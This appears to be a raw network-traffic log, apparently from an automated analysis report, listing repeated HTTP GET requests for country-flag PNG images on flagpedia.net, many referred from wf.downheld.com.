Source: global traffic	HTTP traffic detected: GET /data/flags/w20/jm.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/in.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/jp.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ir.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/jo.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kz.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ke.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/iq.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ki.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ie.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/it.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kw.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/il.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kg.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/jm.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/jp.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/la.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lv.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/jo.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kz.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lb.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kw.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kg.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ls.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ki.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lr.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ly.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ke.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/li.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lt.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/la.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lv.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lu.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ls.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mg.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mw.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lr.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ly.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lb.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/my.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lt.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mv.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ml.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lu.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mt.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/li.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mh.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mw.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
